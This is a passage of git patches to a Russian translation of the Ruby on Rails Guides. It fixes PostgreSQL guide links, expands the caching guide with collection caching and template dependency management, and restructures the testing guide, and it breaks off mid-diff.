PostgreSQL Для начала работы с PostgreSQL взгляните на -[Конфигурирование приложений на Rails](configuring.html#konfigurirovanie-bazy-dannyh-postgresql). +[Конфигурирование приложений на Rails](/configuring#konfigurirovanie-bazy-dannyh-postgresql). Там описано как правильно настроить Active Record для PostgreSQL. Типы данных (Datatypes) @@ -83,7 +83,7 @@ Book.where("array_length(ratings, 1) >= 3") * [Определение типа](http://www.postgresql.org/docs/current/static/hstore.html) -NOTE: вам необходимо включить расширение `hstore` для использования hstore. +NOTE: вам необходимо включить расширение `hstore` для использования hstore. ```ruby # db/migrate/20131009135255_create_profiles.rb @@ -242,7 +242,7 @@ article.save! * [pgcrypto generator function](http://www.postgresql.org/docs/current/static/pgcrypto.html#AEN159361) * [uuid-ossp generator functions](http://www.postgresql.org/docs/current/static/uuid-ossp.html) -NOTE: Вам необходимо включить `pgcrypto` (только PostgreSQL >= 9.4) расширение для использования uuid. +NOTE: Вам необходимо включить `pgcrypto` (только PostgreSQL >= 9.4) расширение для использования uuid. ```ruby # db/migrate/20131220144913_create_revisions.rb @@ -261,7 +261,7 @@ revision = Revision.first revision.identifier # => "a0eebc99-9c0b-4ef8-bb6d-6bb9bd380a11" ``` -Вы можете использовать `uuid` тип для определения ссылок в миграции: +Вы можете использовать `uuid` тип для определения ссылок в миграции: ```ruby # db/migrate/20150418012400_create_blog.rb @@ -284,7 +284,7 @@ class Comment < ActiveRecord::Base end ``` -Смотрите [эту секцию](#uuid-primary-keys) с более подробными деталями, как использовать UUIDs как первичного ключа. +Смотрите [эту секцию](#uuid-primary-keys) с более подробными деталями, как использовать UUIDs как первичного ключа. ### Битовая строка (Bit String Types) @@ -459,4 +459,4 @@ first.archive! Article.count # => 2 ``` -NOTE: Данное приложение описывает `Articles` не в архиве. Представление также работают с состояниями, так что мы можем исключить `Articles`, которые в архиве, напрямую. \ No newline at end of file +NOTE: Данное приложение описывает `Articles` не в архиве. Представление также работают с состояниями, так что мы можем исключить `Articles`, которые в архиве, напрямую. diff --git a/source/index.md b/source/index.md index c2aa1dd0..3c839c16 100644 --- a/source/index.md +++ b/source/index.md @@ -28,7 +28,7 @@ Ruby on Rails — это веб-фреймворк с открытым кодо - [Колбэки Active Record](/active-record-callbacks) := Это руководство раскрывает, как вы можете применять колбэки (методы обратного вызова) Active Record. - [Связи (ассоциации) Active Record](/active-record-associations) := Это руководство раскрывает все связи, предоставленные Active Record. - [Интерфейс запросов Active Record](/active-record-query-interface) := Это руководство раскрывает интерфейс запросов к базе данных, предоставленный Active Record. -- [Active Record для PostgreSQL](/active-record-query-interface) := Это руководство рассказывает о специфике использования PostgreSQL с Active Record. +- [Active Record для PostgreSQL](/active-record-postgresql) := Это руководство рассказывает о специфике использования PostgreSQL с Active Record. - [Основы Active Model](/active-model-basics) := Это руководство познакомит вас со всем, что вам надо для начала использования моделей классов Active Model. ## Вьюхи diff --git a/source/menu.md b/source/menu.md index af3c19a0..10b52c1a 100644 --- a/source/menu.md +++ b/source/menu.md @@ -10,7 +10,7 @@ * [Колбэки Active Record](/active-record-callbacks) * [Связи (ассоциации) Active Record](/active-record-associations) * [Интерфейс запросов Active Record](/active-record-query-interface) - * [Active Record для PostgreSQL](/active-record-query-interface) + * [Active Record для PostgreSQL](/active-record-postgresql) * [Основы Active Model](/active-model-basics) * **Вьюхи** From 53333f46ddfc017cc600c0f8580085570a0cfb0e Mon Sep 17 00:00:00 2001 From: Mikhail Dieterle Date: Thu, 17 Sep 2015 08:31:32 +0300 Subject: [PATCH 106/932] remove active_record_postgresql.md from plan --- source/index.yml | 1 - 1 file changed, 1 deletion(-) diff --git a/source/index.yml b/source/index.yml index d1bbfc9b..11b4ba96 100644 --- a/source/index.yml +++ b/source/index.yml @@ -277,7 +277,6 @@ pages: date: 18/12/2014 plan: - - file: active_record_postgresql.md - file: api_app.md - file: maintenance_policy.md - file: profiling.md From 1318bc1a6f83741136fd3b9fad756c4884d65036 Mon Sep 17 00:00:00 2001 From: Markov Alexey Date: Tue, 15 Sep 2015 22:59:07 +0400 Subject: [PATCH 107/932] Update caching with rails --- source/caching_with_rails.md | 201 +++++++++++++++++++++++------------ source/index.yml | 4 +- 2 files changed, 137 insertions(+), 68 deletions(-) diff --git a/source/caching_with_rails.md b/source/caching_with_rails.md index e8840e34..437e65b6 100644 --- a/source/caching_with_rails.md +++ b/source/caching_with_rails.md @@ -3,10 +3,16 @@ Это руководство является введением в ускорение вашего приложения Rails с помощью кэширования. +Кэширование означает хранение контента, генерируемого в цикле запрос-ответ, и повторное использование его при ответе на подобные запросы. + +Кэширование часто является самым эффективным способом повысить производительность приложения. При помощи кэширования, веб-сайты, работающие на одном сервере с одной базой данных, могут выдержать нагрузку в несколько десятков тысяч одновременных пользователей. + +Rails предоставляет набор функций кэширования из коробки. Это руководство научит вас областям кэширования и целям каждой области. Освойте эти приемы и ваши Rails приложения смогут обслужить миллионы просмотров без запредельного времени отклика сервера или счетов за сервер. + После прочтения этого руководства, вы узнаете: -* О кэширование страниц и экшнов. -* О кэширование фрагмента и матрешкой. +* О кэшировании фрагмента и кэшировании матрешкой (Russian doll caching). +* Как управлять зависимостями кэширования. * Об альтернативных хранилищах кэша. * Об условной поддержке GET. @@ -21,9 +27,12 @@ config.action_controller.perform_caching = true ``` +NOTE: Изменение значения `config.action_controller.perform_caching` повлияет только на кэширование, предоставленное Action Controller. +Например, это не повлияет на низкоуровневое кэширование, которое мы рассмотрим [ниже](#low-level-caching). + ### Кэширование страницы -Кэширование страницы это механизм Rails, позволяющий запросу на сгенерированную страницу быть полностью обслуженным вебсервером (т.е. Apache или NGINX) в принципе, без прохождения через стек Rails. Хотя это и очень быстро. но не может быть применено к каждой ситуации (например, к страницам, требующим аутентификации). А так же, раз вебсервер получает файл напрямую из файловой системы, необходимо реализовать прекращение кэша. +Кэширование страницы это механизм Rails, позволяющий запросу на сгенерированную страницу быть полностью обслуженным вебсервером (т.е. Apache или NGINX) в принципе, без прохождения через весь стек Rails. Хотя это и очень быстро, но не может быть применено к каждой ситуации (например, к страницам, требующим аутентификации). А также, раз вебсервер получает файл напрямую из файловой системы, необходимо реализовать прекращение кэша. INFO: Кэширование страниц было убрано из Rails 4. Обратитесь к [гему actionpack-page_caching](https://github.com/rails/actionpack-page_caching). @@ -31,11 +40,11 @@ INFO: Кэширование страниц было убрано из Rails 4. Кэширование страниц нельзя использовать для экшнов, имеющих предварительные фильтры, - например, для страниц, требующих аутентификации. И тут на помощь приходит кэширование экшна. Кэширование экшна работает как кэширование страницы, за исключением того, что входящий веб запрос затрагивает стек Rails, таким образом, до обслуживания кэша могут быть запущены предварительные (before) фильтры. Это позволит использовать аутентификацию и другие ограничения, и в то же время выводит результат из кэшированной копии. -INFO: Кэширование экшна было убрано из Rails 4. Обратитесь к [гему actionpack-action_caching](https://github.com/rails/actionpack-action_caching). Так же взгляните на статью [DHH по прекращению кэша, основанного на ключе](http://signalvnoise.com/posts/3113-how-key-based-cache-expiration-works), как более предпочтительного способа. +INFO: Кэширование экшна было убрано из Rails 4. Обратитесь к [гему actionpack-action_caching](https://github.com/rails/actionpack-action_caching). Также взгляните на статью [DHH по прекращению кэша, основанного на ключе](http://signalvnoise.com/posts/3113-how-key-based-cache-expiration-works), как более предпочтительного способа. ### Кэширование фрагмента -Динамические веб приложения обычно создают страницы с рядом компонентов, не все из которых имеют сходные характеристики кэширования. Когда различные части страниц нуждаются в кэшировании и прекращаются по-разному, Rails предоставляет механизм, названный Кэширование фрагмента. +Динамические веб приложения обычно создают страницы с рядом компонентов, не все из которых имеют сходные характеристики кэширования. Когда различные части страниц нуждаются в кэшировании и прекращаются по-разному, вы можете использовать Кэширование фрагмента. Кэширование фрагмента позволяет фрагменту логики вьюхи быть обернутым в блок кэша и обслуженным из хранилища кэша для последующего запроса. @@ -57,7 +66,7 @@ views/products/1-201505056193031061005000/bea67108094918eeba42cd4a6e786901 Число в середине — это `product_id`, с последующим значением временной метки в атрибуте `updated_at` записи продукта. Rails использует значение временной метки, чтобы убедиться, что он не отдает устаревшие данные. Если значение `updated_at` изменится, будет сгенерирован новый ключ. Затем Rails запишет новый кэш с этим ключом, а старый кэш, записанный со старым ключом, больше никогда не будет использован. Это называется прекращением, основанным на ключе. -Фрагменты кэша также могут быть прекращены, если изменяетс фрагмент вьюхи (например, если изменяется HTML во вьюхе). Эта строка сиволов в конце ключа является дайджестом дерева шаблона. Это хеш md5, вычесленный на основе содержимого фрагмента вьюхи, которую вы кэшируете. Если вы измените фрагмент вьюхи, хеш md5 изменится, прекращая существующий кэш. +Фрагменты кэша также могут быть прекращены, если изменяется фрагмент вьюхи (например, если изменяется HTML во вьюхе). Строка символов в конце ключа является дайджестом дерева шаблона. Это md5 хеш, вычисленный на основе содержимого фрагмента вьюхи, которую вы кэшируете. Если вы измените фрагмент вьюхи, md5 хеш изменится, прекращая существующий кэш. TIP: Хранилища кэша, такие как Memcached, автоматически удалят старые файлы с кэшем. @@ -69,6 +78,24 @@ TIP: Хранилища кэша, такие как Memcached, автомати <% end %> ``` +#### Кэширование коллекции (Rails 5.0) + +Хелпер `render` может также кэшировать отдельные шаблоны, отображающие коллекцию. В рассмотренном ранее примере с `each` можно считать все кэши шаблонов за один раз, а не по одному. Это делается автоматически, если шаблон, отображающий коллекцию, включает вызов метода `cache`. Возьмем коллекцию, которая отображает `products/_product.html.erb` партиал для каждого элемента: + +```ruby +render products +``` + +Если `products/_product.html.erb` начинается с вызова `cache`, например: + +```html+erb +<% cache product do %> + <%= product.name %> +<% end %> +``` + +Все закэшированные шаблоны из предыдущих отображений будут считаны за один раз с гораздо большей скоростью. Больше информации о том, как сделать ваши шаблоны [подходящими для кэширования коллекций](http://api.rubyonrails.org/classes/ActionView/Template/Handlers/ERB.html#method-i-resource_cache_call_pattern). + ### Кэширование матрешкой Можно вкладывать кэшированные фрагменты в другие кэшированные фрагменты. Это называется кэшированием матрешкой. @@ -88,7 +115,7 @@ TIP: Хранилища кэша, такие как Memcached, автомати Которая, в свою очередь, рендерит эту вьюху: ```erb -<% cache game %> +<% cache game do %> <%= render game %> <% end %> ``` @@ -107,6 +134,79 @@ end С помощью `touch`, установленного в true, любое действие, изменяющее `updated_at` для записи game, будет также изменять его для связанного product, тем самым прекращая кэш. +### Управление зависимостями + +Для того, чтобы корректно инвалидировать кэш, вам необходимо правильно определить зависимости кэширования. Rails достаточно умен, чтобы справиться с общими случаями так, что вы не должны будете ничего указывать. Однако, иногда, когда вы имеете дело с нестандартными хелперами например, вы должны будете явно определить их. + +### Неявные зависимости + +Большинство зависимостей шаблонов могут быть вычислены из вызовов `render` в самом шаблоне. Вот несколько примеров вызовов `render`, которые `ActionView::Digestor` знает как понять: + +```ruby +render partial: "comments/comment", collection: commentable.comments +render "comments/comments" +render 'comments/comments' +render('comments/comments') + +render "header" => render("comments/header") + +render(@topic) => render("topics/topic") +render(topics) => render("topics/topic") +render(message.topics) => render("topics/topic") +``` + +С другой стороны, некоторые вызовы нужно изменить, чтобы кэширование работало верно. Например, если вы передаете нестандартную коллекцию, вам нужно изменить: + +```ruby +render @project.documents.where(published: true) +``` + +на: + +```ruby +render partial: "documents/document", collection: @project.documents.where(published: true) +``` + +### Явные зависимости + +Иногда у вас будут зависимости шаблонов, которые не получается определить совсем. Это обычно для ситуаций, когда отображение происходит в хелперах. Вот пример: + +```html+erb +<%= render_sortable_todolists @project.todolists %> +``` + +Вам необходимо использовать специальный формат комментариев для вызова их извне: + +```html+erb +<%# Template Dependency: todolists/todolist %> +<%= render_sortable_todolists @project.todolists %> +``` + +В некоторых случаях, например, при установке наследования в одной таблице (STI, single table inheritance), вы можете иметь кучу явных зависимостей. Вместо написания каждого шаблона, вы можете использовать знак звездочку, чтобы подходил любой шаблон из каталога: + +```html+erb +<%# Template Dependency: events/* %> +<%= render_categorizable_events @person.events %> +``` + +Как и для кэширования коллекций, если партиал начинается не с явного вызова кэша, вы все-таки можете извлечь выгоду кэширования коллекций, добавив специальный формат комментария в любом месте шаблона, наподобие: + +```html+erb +<%# Template Collection: notification %> +<% my_helper_that_calls_cache(some_arg, notification) do %> + <%= notification.name %> +<% end %> +``` + +### Внешние зависимости + +Если вы используете хелпер метод, например, внутри кэшируемого блока, и затем обновляете хелпер, вам также нужно будет ударить кэш. Неважно как вы сделаете это, но md5 файла шаблона должен измениться. Одна из рекомендаций, явно указать в комментарии, наподобие: + +```html+erb +<%# Helper Dependency Updated: Jul 28, 2015 at 7pm %> +<%= some_helper_method(person) %> +``` + ### Низкоуровневое кэширование Иногда хочется закэшировать определенное значение или результат запроса вместо кэширования фрагментов вьюх. Механизм кэширования Rails отлично работает для хранения информации __любого__ рода. @@ -129,7 +229,7 @@ NOTE: Отметьте, что в этом пример мы использов ### Кэширование SQL -Кэширование запроса это особенность Rails, кэширующая результат выборки по каждому запросу. Если Rails встретит тот же запрос (query) на протяжения текущего запроса (request), он использует кэшированный результат, вместо того, чтобы снова сделать запрос к базе данных. +Кэширование запроса - это особенность Rails, кэширующая результат выборки по каждому запросу. Если Rails встретит тот же запрос (query) на протяжения текущего запроса (request), он использует кэшированный результат, вместо того, чтобы снова сделать запрос к базе данных. Например: @@ -156,16 +256,14 @@ end Хранилища кэша -------------- -Rails предоставляет различные хранилища для кэшированных данных, созданных кэшами **экшна** или **фрагмента.** - -TIP: Кэши страницы всегда сохраняются на диск. +Rails предоставляет различные хранилища для кэшированных данных (кроме SQL кэширования и кэширования страниц). ### Конфигурация -Можно настроить хранилище кэша по умолчанию своего приложения, вызвав `config.cache_store=` в описании Application в файле `config/application.rb` или в блоке Application.configure в файле конфигурации определенной среды (т.е. `config/environments/*.rb`). Первый аргумент будет используемым хранилищем кэша, остальные будут переданы как аргументы в конструктор хранилища кэша. +Можно настроить хранилище кэша по умолчанию своего приложения, установив конфигурационную опцию `config.cache_store`. Другие параметры могут будут переданы как аргументы в конструктор хранилища кэша. ```ruby -config.cache_store = :memory_store +config.cache_store = :memory_store, { size: 64.megabytes } ``` NOTE: Альтернативно можно вызвать `ActionController::Base.cache_store` вне конфигурационного блока. @@ -174,11 +272,11 @@ NOTE: Альтернативно можно вызвать `ActionController::Ba ### ActiveSupport::Cache::Store -Этот класс представляет основу для взаимодействия с кэшем в Rails. Это абстрактный класс, и его самого нельзя использовать. Вместо него нужно использовать конкретную реализацию класса, связанного с engine-ом хранилища. Rails поставляется с несколькими реализациями, документированными ниже. +Этот класс представляет основу для взаимодействия с кэшем в Rails. Это абстрактный класс, и он сам не может быть использован. Вместо него нужно использовать конкретную реализацию класса, связанного с engine-ом хранилища. Rails поставляется с несколькими реализациями, описанными ниже. -Главные вызываемые методы это `read`, `write`, `delete`, `exist?` и `fetch`. Метод fetch принимает блок и либо возвращает существующее значение из кэша, либо вычисляет блок и записывает результат в кэш, если значения не существует. +Главные вызываемые методы это `read`, `write`, `delete`, `exist?` и `fetch`. Метод fetch принимает блок и либо возвращает существующее значение из кэша, либо вычисляет блок и записывает результат в кэш, если значение не существует. -Имеется несколько общих опций, используемых всеми реализациями кэша. Они могут быть переданы в конструктор или различные методы для взаимодействия с записями. +Имеется несколько общих опций, используемых всеми реализациями кэша. Они могут быть переданы в конструктор или в различные методы для взаимодействия с записями. * `:namespace` - Эта опция может быть использована для создания пространства имен в хранилище кэша. Она особенно полезна, если приложение разделяет кэш с другим приложением. @@ -190,15 +288,25 @@ NOTE: Альтернативно можно вызвать `ActionController::Ba * `:race_condition_ttl` - Эта опция используется в сочетании с опцией `:expires_in`. Она предотвращает гонку условий при прекращении записи кэша, предотвращая несколько процессов от одновременного пересоздания одной и той же записи (также известного как dog pile effect). Эта опция устанавливает количество секунд, в течение которых прекращенная запись кэша может использоваться, пока не будет пересоздана новая запись. Считается хорошей практикой установить это значение, если используется опция `:expires_in`. +### Произвольные хранилища кэша + +Можно создать свое собственно хранилище кэша, просто расширив `ActiveSupport::Cache::Store` и реализовав соответствующие методы. Таким образом можно применить несколько кэширующих технологий в вашем приложении Rails. + +Для использования произвольного хранилища кэша просто присвойте хранилищу кэша новый экземпляр класса. + +```ruby +config.cache_store = MyCacheStore.new +``` + ### ActiveSupport::Cache::MemoryStore -Это хранилище кэша хранит записи в памяти в том же процессе Ruby. У хранилища кэша ограниченный размер, определенный опцией `:size`, указанной в инициализаторе (по умолчанию 32Mb). Когда кэш превышает выделенный размер, происходит очистка и наиболее давно используемые записи будут убраны. +Это хранилище кэша хранит записи в памяти в том же процессе Ruby. У хранилища кэша ограниченный размер, определенный опцией `:size`, указанной в инициализаторе (по умолчанию 32Mb). Когда кэш превышает выделенный размер, происходит очистка и самые ранние используемые записи будут убраны. ```ruby config.cache_store = :memory_store, { size: 64.megabytes } ``` -Если запущено несколько среверных процессов Ruby on Rails (что бывает в случае использования mongrel_cluster или Phusion Passenger), то экземпляры ваших серверов Rails не смогут разделять данные кэша друг с другом. Это хранилище кэша не подходит для больших приложений. Однако, оно замечательно работает с небольшими, низко-траффиковыми сайтами с несколькими серверными процессами, или для сред development и test. +Если запущено несколько среверных процессов Ruby on Rails (что бывает в случае использования mongrel_cluster или Phusion Passenger), то экземпляры ваших серверов Rails не смогут разделять данные кэша друг с другом. Это хранилище кэша не подходит для больших приложений. Однако, оно замечательно работает с небольшими сайтами с низким трафиком, с несколькими серверными процессами, или для сред development и test. ### ActiveSupport::Cache::FileStore @@ -208,9 +316,9 @@ config.cache_store = :memory_store, { size: 64.megabytes } config.cache_store = :file_store, "/path/to/cache/directory" ``` -С этим хранилищем кэша несколько серверных процессов на одном хосте могут делиться кэшем. Хранилище кэша подходит для сайтов с трафиком до среднего, обслуживающихся на одном - двух хостах. Серверные процессы, запущенные на разных хостах, могут делиться кэшем при использовании общей файловой системы, но эта настройка не рекомендована. +С этим хранилищем кэша несколько серверных процессов на одном хосте могут делиться кэшем. Хранилище кэша подходит для сайтов с трафиком от низкого до среднего, обслуживающихся на одном или двух хостах. Серверные процессы, запущенные на разных хостах, могут делиться кэшем при использовании общей файловой системы, но эта настройка не рекомендована. -Так как хэш будет расти, пока не заполнится диск, рекомендуется периодически чистить старые записи. +Так как кэш будет расти, пока не заполнится диск, рекомендуется периодически чистить старые записи. Это реализация хранилища кэша по умолчанию. @@ -226,62 +334,23 @@ config.cache_store = :file_store, "/path/to/cache/directory" config.cache_store = :mem_cache_store, "cache-1.example.com", "cache-2.example.com" ``` -### ActiveSupport::Cache::EhcacheStore - -При использовании JRuby можно использовать Terracotta's Ehcache как хранилище кэша вашего приложения. Ehcache это Java кэш с открытым исходным кодом, также предлагается версия enterprise с улучшенными масштабируемостью, управлением и коммерческой поддержкой. Для использования этого хранилища кэша, сначала необходимо установить гем jruby-ehcache-rails3 (версия 1.1.0 или выше). - -```ruby -config.cache_store = :ehcache_store -``` - -при инициализации кэша можно использовать опцию `:ehcache_config` для определения используемого конфигурационного файла Ehcache (по умолчанию "ehcache.xml" в директории config Rails), и опцию :cache_name для предоставления произвольного имени вашего кэша (по умолчанию rails_cache). - -В дополнение к стандартной опции `:expires_in`, метод `write` в этом кэше также принимает дополнительную опцию `:unless_exist`, что приводит к тому, что хранилище кэша будет использовать метод Ehcache `putIfAbsent` вместо `put`, и, следовательно, не перезапишет существующую запись. Дополнительно метод `write` поддерживает все свойства, раскрытые в [классе Ehcache Element](http://ehcache.org/apidocs/net/sf/ehcache/Element.html), включая: - -| Свойство | Тип аргумента | Описание | -| --------------------------- | ------------------- | ------------------------------------------------------------ | -| elementEvictionData | ElementEvictionData | Устанавливает истребование экземпляра данных этого элемента. | -| eternal | boolean | Устанавливает, является ли элемент вечным. | -| timeToIdle, tti | int | Устанавливает время бездействия | -| timeToLive, ttl, expires_in | int | Устанавливает время жизни | -| version | long | Устанавливает атрибут версии объекта ElementAttributes. | - -Эти опции передаются в метод `write` как хэш, с использованием написания либо camelCase, либо с подчеркиваниями, как в следующих примерах: - -```ruby -Rails.cache.write('key', 'value', time_to_idle: 60.seconds, timeToLive: 600.seconds) -caches_action :index, expires_in: 60.seconds, unless_exist: true -``` - -Подробнее об Ehcache смотрите на [http://ehcache.org/](http://ehcache.org/). -Подробнее об Ehcache для JRuby and Rails смотрите [http://ehcache.org/documentation/jruby.html](http://ehcache.org/documentation/jruby.html) - ### ActiveSupport::Cache::NullStore -Эта реализация хранилища кэша предполагает использование только в средах development или test, и никогда ничего не хранит. Это может быть полезным при разработке, когда у вас имеется код, взаимодеюствующий непосредственно с `Rails.cache`, но кэширование может препятствовать способности видеть результат изменений в коде. С помощью этого хранилища кэша все операции `fetch` и `read` приведут к отсутствующему результату. +Эта реализация хранилища кэша предполагает использование только в средах development или test, и никогда ничего не хранит. Это может быть полезным при разработке, когда у вас имеется код, взаимодействующий непосредственно с `Rails.cache`, но кэширование может препятствовать способности видеть результат изменений в коде. С помощью этого хранилища кэша все операции `fetch` и `read` приведут к отсутствующему результату. ```ruby config.cache_store = :null_store ``` -### Произвольные хранилища кэша - -Можно создать свое собственно хранилище кэша, просто расширив `ActiveSupport::Cache::Store` и реализовав соответствующие методы. Таким образом можно применить несколько кэширующих технологий в вашем приложении Rails. - -Для использования произвольного хранилища кэша просто присвойте хранилищу кэша новый экземпляр класса. - -```ruby -config.cache_store = MyCacheStore.new -``` - -### Ключи кэша +Ключи кэша +---------- -Ключи, используемые в кэше могут быть любым объектом, отвечающим либо на `:cache_key`, либо на `:to_param`. Можно реализовать метод `:cache_key в своем классе, если необходимо создать произвольный класс. Active Record создает ключи, основанные на имени класса и id записи. +Ключи, используемые в кэше могут быть любым объектом, отвечающим либо на `cache_key`, либо на `to_param`. Можно реализовать метод `cache_key` в своем классе, если необходимо создать произвольный класс. Active Record создает ключи, основанные на имени класса и id записи. Как ключи хэша можно использовать хэши и массивы. ```ruby -# Это правильный ключ хэша +# Это правильный ключ кэша Rails.cache.read(site: "mysite", owners: [owner_1, owner_2]) ``` @@ -290,7 +359,7 @@ Rails.cache.read(site: "mysite", owners: [owner_1, owner_2]) Поддержка GET с условием (Conditional GET) ------------------------------------------ -GET с условием это особенность спецификации HTTP, предоставляющая способ вебсерверам сказать браузерам, что отклик на запрос GET не изменился с последнего запроса и может быть спокойно извлечен из кэша браузера. +GET с условием - это особенность спецификации HTTP, предоставляющая способ веб-серверам сказать браузерам, что отклик на запрос GET не изменился с последнего запроса и может быть спокойно извлечен из кэша браузера. Это работает с использованием заголовков HTTP_IF_NONE_MATCH и HTTP_IF_MODIFIED_SINCE для передачи туда-обратно уникального идентификатора контента и временной метки, когда содержимое было последний раз изменено. Если браузер делает запрос, в котором идентификатор контента (etag) или временная метка последнего изменения соответствует версии сервера, то серверу всего лишь нужно вернуть пустой отклик со статусом not modified. @@ -313,7 +382,7 @@ class ProductsController < ApplicationController # Если запрос свежий (т.е. не изменился), то не нужно ничего делать # Рендер по умолчанию проверит это, используя параметры, # использованные в предыдущем вызове stale?, и автоматически пошлет - # :not_modified. И на этом все. + # :not_modified. И на этом все. end end ``` diff --git a/source/index.yml b/source/index.yml index d1bbfc9b..64f4fd1d 100644 --- a/source/index.yml +++ b/source/index.yml @@ -159,8 +159,8 @@ pages: - title: 'Кэширование с Rails: Обзор' path: caching-with-rails-an-overview file: caching_with_rails.md - revision: 068ab23a33b245d8f481bb839549806280effe48 - date: 18/06/2015 + revision: 63c03077f3049b538b4cfb2fe1035bf1c0a58ddd + date: 03/08/2015 - title: Asset Pipeline path: asset-pipeline From cfddeb542399abf6ba094ae4320a1108071f30a4 Mon Sep 17 00:00:00 2001 From: Mikhail Dieterle Date: Sat, 19 Sep 2015 23:21:01 +0300 Subject: [PATCH 108/932] update testing guide --- source/index.yml | 4 +- source/testing.md | 753 +++++++++++++++++++++++----------------------- 2 files changed, 373 insertions(+), 384 deletions(-) diff --git a/source/index.yml b/source/index.yml index f77adcd9..c29a6533 100644 --- a/source/index.yml +++ b/source/index.yml @@ -129,8 +129,8 @@ pages: - title: Руководство по тестированию приложений на Rails path: a-guide-to-testing-rails-applications file: testing.md - revision: 3862c55049adc14efd8dc8bd4c4627e0b987d51c - date: 13/06/2015 + revision: c7cc81d21171f85aee367adffa97b98e81c60cbd + date: 05/09/2015 - title: Руководство Ruby On Rails по безопасности path: ruby-on-rails-security-guide diff --git a/source/testing.md b/source/testing.md index feeb8bbe..f6a1d827 100644 --- a/source/testing.md +++ b/source/testing.md @@ -21,15 +21,7 @@ Rails предлагает писать тесты очень просто. Ко Введение в тестирование ----------------------- -Поддержка тестирования встроена в Rails с самого начала. И это не было так: "О! Давайте внесем поддержку запуска тестов, это ново и круто!" Почти каждое приложение на Rails сильно взаимодействует с базой данных, и, как результат, тестам также требуется база данных для работы. Чтобы писать эффективные тесты, следует понять, как настроить эту базу данных и наполнить ее образцом данных. - -### Тестовая среда разработки - -По умолчанию каждое приложение на Rails имеет три среды разработки: development, test и production. База данных для каждой из них настраивается в `config/database.yml`. - -Отдельная тестовая база данных позволяет настраивать и работать с данными в изоляции. Таким образом, тесты могут искажать тестовые данные с уверенностью, не беспокоясь о данных в базах данных development или production. - -Схожим образом можно изменить конфигурацию среды. В этом случае можно изменить тестовую среду, изменяя опции в `config/environments/test.rb`. +Поддержка тестирования встроена в Rails с самого начала. И это не было так: "О! Давайте внесем поддержку запуска тестов, это ново и круто!" ### Настройка Rails для тестирования с нуля @@ -48,120 +40,17 @@ fixtures/ integration/ models/ Файл `test_helper.rb` содержит конфигурацию по умолчанию для ваших тестов. -### Полная информация по фикстурам - -Для хороших тестов необходимо подумать о настройке тестовых данных. В Rails этим можно управлять, определяя и настраивая фикстуры. Подробности можно узнать в [документации API фикстур](http://api.rubyonrails.org/classes/ActiveRecord/FixtureSet.html). - -#### Что такое фикстуры? - -_Fixtures_ это выдуманное слово для образцов данных. Фикстуры позволяют заполнить вашу тестовую базу данных предопределенными данными до запуска тестов. Фикстуры независимы от типа базы данных и написаны на YAML. На каждую модель имеется отдельный файл. - -Фикстуры расположены в директории `test/fixtures`. Когда запускаете `rails generate model` для создания новой модели, Rails автоматически создаст незаконченные фикстуры в этой директории. - -#### YAML - -Фикстуры в формате YAML являются дружелюбным способом описать ваш образец данных. Этот тип фикстур имеет расширение файла *.yml* (как в `users.yml`). - -Вот образец файла фикстуры YAML: - -```yaml -# lo & behold! I am a YAML comment! -david: - name: David Heinemeier Hansson - birthday: 1979-10-15 - profession: Systems development - -steve: - name: Steve Ross Kellock - birthday: 1974-09-27 - profession: guy with keyboard -``` - -Каждой фикстуре дается имя со следующим за ним списком с отступом пар ключ/значение, разделенных двоеточием. Записи обычно разделяются пустой строкой. Можете помещать комментарии в файл фикстуры, используя символ # в первом столбце. - -Если работаете со [связями](/active-record-associations), можно просто определить ссылку между двумя различными фикстурами. Вот пример для связи `belongs_to`/`has_many`: - -```yaml -# In fixtures/categories.yml -about: - name: About - -# In fixtures/articles.yml -one: - title: Welcome to Rails! - body: Hello world! - category: about -``` - -Отметьте, что у ключа `category` в статье `one` из `fixtures/articles.yml` значение `about`. Это говорит Rails загрузить категорию `about` из `fixtures/categories.yml`. - -NOTE: При связи двух записей по имени в связанных фикстурах нельзя указывать атрибут `id:`. Rails автоматически назначит первичный ключ, согласующийся между запусками. Подробнее об этом поведении связей можно прочитать в [документации API фикстур](http://api.rubyonrails.org/classes/ActiveRecord/FixtureSet.html). - -#### ERb - -ERb позволяет встраивать код Ruby в шаблоны. Формат фикстур YAML предварительно обрабатывается с помощью ERb при загрузке фикстур. Это позволяет использовать Ruby для помощи в создании некоторых образцов данных. Например, следующий код создаст тысячу пользователей: - -```erb -<% 1000.times do |n| %> -user_<%= n %>: - username: <%= "user#{n}" %> - email: <%= "user#{n}@example.com" %> -<% end %> -``` - -#### Фикстуры в действии - -Rails по умолчанию автоматически загружает все фикстуры из директории `test/fixtures` для ваших тестов моделей и контроллеров. Загрузка состоит из трех этапов: - -1. Убираются любые существующие данные из таблицы, соответствующей фикстуре -2. Загружаются данные фикстуры в таблицу -3. Выгружаются данные фикстуры в переменную, в случае, если вы хотите обращаться к ним напрямую - -TIP: Чтобы убрать существующие данные из базы, Rails пытается отключить тригеры ссылочной целостности (такие как внешние ключи и проверки ограничений). Если вы получаете надоедливые ошибки доступа при запуске тестов, убедитесь, что у пользователя базы данных есть привелегия отключать эти тригеры в тестовой среде. (В PostgreSQL только суперюзеры могут отключать все тригеры. Подробнее о разрешениях PostgreSQL читайте [здесь](http://blog.endpoint.com/2012/10/postgres-system-triggers-error.html)) - -#### Фикстуры это объекты Active Record - -Фикстуры являются экземплярами Active Record. Как упоминалось в этапе №3 выше, Вы можете обращаться к объекту напрямую, поскольку он автоматически доступен как метод, область видимости которого локальна для тестового случая. Например: - -```ruby -# это возвратит объект User для фикстуры с именем david -users(:david) - -# это возвратит свойство для david, названное id -users(:david).id - -# он имеет доступ к методам, доступным для класса User -email(david.partner.email, david.location_tonight) - -``` - -Чтобы получить несколько фикстур за раз, вы можете передать список имен фикстур. Например: - -```ruby -# это возвратит массив, содержаший фикстуры david и steve -users(:david, :steve) -``` - -### Консольные задачи для запуска ваших тестов - -Rails поставляется с консольными командами для запуска тестов. -Ниже несколько примеров как использовать их: +### Тестовая среда разработки -```bash -$ bin/rails test # запустить все тесты в папке `test` -$ bin/rails test test/controllers # запустить все тесты из указанной папки -$ bin/rails test test/models/post_test.rb # запустить определенный тест -$ bin/rails test test/models/post_test.rb:44 # запустить определенный тест и строку -``` +По умолчанию каждое приложение на Rails имеет три среды разработки: development, test и production. База данных для каждой из них настраивается в `config/database.yml`. -В этом руководстве мы раскроем каждый из перечисленных тут типов тестов Rails. +Схожим образом можно изменить конфигурацию среды. В этом случае можно изменить тестовую среду, изменяя опции в `config/environments/test.rb`. -Тестирование моделей --------------------- ++NOTE: Ваши тесты запускаются с `RAILS_ENV=test`. -Для этого руководства 